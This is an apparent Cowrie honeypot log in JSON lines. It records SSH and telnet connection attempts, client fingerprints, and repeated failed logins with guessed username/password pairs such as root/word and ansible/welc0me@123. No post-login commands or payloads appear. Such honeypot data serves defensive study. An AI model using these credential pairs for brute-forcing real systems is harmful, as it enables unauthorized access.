{"eventid":"cowrie.login.failed","username":"git","password":"gitpass","message":"login attempt [git/gitpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:22.866069Z","src_ip":"81.30.162.19","session":"48b0beda2146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:23.988020Z","src_ip":"81.30.162.19","session":"48b0beda2146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":50762,"dst_ip":"159.203.135.109","dst_port":22,"session":"661a493aad28","protocol":"ssh","message":"New connection: 157.7.113.83:50762 (159.203.135.109:22) [session: 661a493aad28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:25.471821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:25.476910Z","src_ip":"157.7.113.83","session":"661a493aad28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:25.636250Z","src_ip":"157.7.113.83","session":"661a493aad28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"word","message":"login attempt [root/word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:26.286937Z","src_ip":"157.7.113.83","session":"661a493aad28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:27.443449Z","src_ip":"157.7.113.83","session":"661a493aad28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57256,"dst_ip":"159.203.135.109","dst_port":22,"session":"5215a5bce0be","protocol":"ssh","message":"New connection: 159.203.92.129:57256 (159.203.135.109:22) [session: 5215a5bce0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:38.216203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:38.220756Z","src_ip":"159.203.92.129","session":"5215a5bce0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:38.226280Z","src_ip":"159.203.92.129","session":"5215a5bce0be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"welc0me@123","message":"login attempt [ansible/welc0me@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:38.234852Z","src_ip":"159.203.92.129","session":"5215a5bce0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:39.242596Z","src_ip":"159.203.92.129","session":"5215a5bce0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":55020,"dst_ip":"10.17.0.5","dst_port":22,"session":"f236142523f9","protocol":"ssh","message":"New connection: 162.223.91.130:55020 (10.17.0.5:22) [session: f236142523f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:52.962944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:52.967411Z","src_ip":"162.223.91.130","session":"f236142523f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:52.986704Z","src_ip":"162.223.91.130","session":"f236142523f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123abc","message":"login attempt [administrator/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:53.093993Z","src_ip":"162.223.91.130","session":"f236142523f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:21:54.115994Z","src_ip":"162.223.91.130","session":"f236142523f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":39344,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a4e088061a","protocol":"ssh","message":"New connection: 194.59.206.2:39344 (159.203.135.109:22) [session: 45a4e088061a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:05.559777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:05.579086Z","src_ip":"194.59.206.2","session":"45a4e088061a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:05.651367Z","src_ip":"194.59.206.2","session":"45a4e088061a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:05.827338Z","src_ip":"194.59.206.2","session":"45a4e088061a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":50270,"dst_ip":"159.203.135.109","dst_port":22,"session":"be92fec2be6e","protocol":"ssh","message":"New connection: 81.30.162.19:50270 (159.203.135.109:22) [session: be92fec2be6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:13.406386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:13.410368Z","src_ip":"81.30.162.19","session":"be92fec2be6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:13.531446Z","src_ip":"81.30.162.19","session":"be92fec2be6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00148797035217,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:13.573634Z","src_ip":"177.185.112.101","session":"ccc9cee4efda","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Password@123","message":"login attempt [dev/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:14.048849Z","src_ip":"81.30.162.19","session":"be92fec2be6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:15.173145Z","src_ip":"81.30.162.19","session":"be92fec2be6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.112.101","src_port":46696,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af227ff12fc","protocol":"telnet","message":"New connection: 177.185.112.101:46696 (10.17.0.5:23) [session: 3af227ff12fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:17.020463Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41938,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e021a311e90","protocol":"ssh","message":"New connection: 159.203.92.129:41938 (159.203.135.109:22) [session: 9e021a311e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:23.480608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:23.485289Z","src_ip":"159.203.92.129","session":"9e021a311e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:23.490115Z","src_ip":"159.203.92.129","session":"9e021a311e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"welcome","message":"login attempt [ansible/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:23.502425Z","src_ip":"159.203.92.129","session":"9e021a311e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:24.509939Z","src_ip":"159.203.92.129","session":"9e021a311e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":44440,"dst_ip":"159.203.135.109","dst_port":22,"session":"67ad1a10ddbf","protocol":"ssh","message":"New connection: 157.7.113.83:44440 (159.203.135.109:22) [session: 67ad1a10ddbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:27.353163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:27.361774Z","src_ip":"157.7.113.83","session":"67ad1a10ddbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:27.522890Z","src_ip":"157.7.113.83","session":"67ad1a10ddbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhang123","message":"login attempt [root/Zhang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:28.186382Z","src_ip":"157.7.113.83","session":"67ad1a10ddbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:29.345407Z","src_ip":"157.7.113.83","session":"67ad1a10ddbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":41682,"dst_ip":"10.17.0.5","dst_port":22,"session":"a92c64f922e9","protocol":"ssh","message":"New connection: 162.223.91.130:41682 (10.17.0.5:22) [session: a92c64f922e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:30.662407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:30.667277Z","src_ip":"162.223.91.130","session":"a92c64f922e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:30.685471Z","src_ip":"162.223.91.130","session":"a92c64f922e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"12345","message":"login attempt [dev/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:30.792214Z","src_ip":"162.223.91.130","session":"a92c64f922e9","protocol":"ssh"}
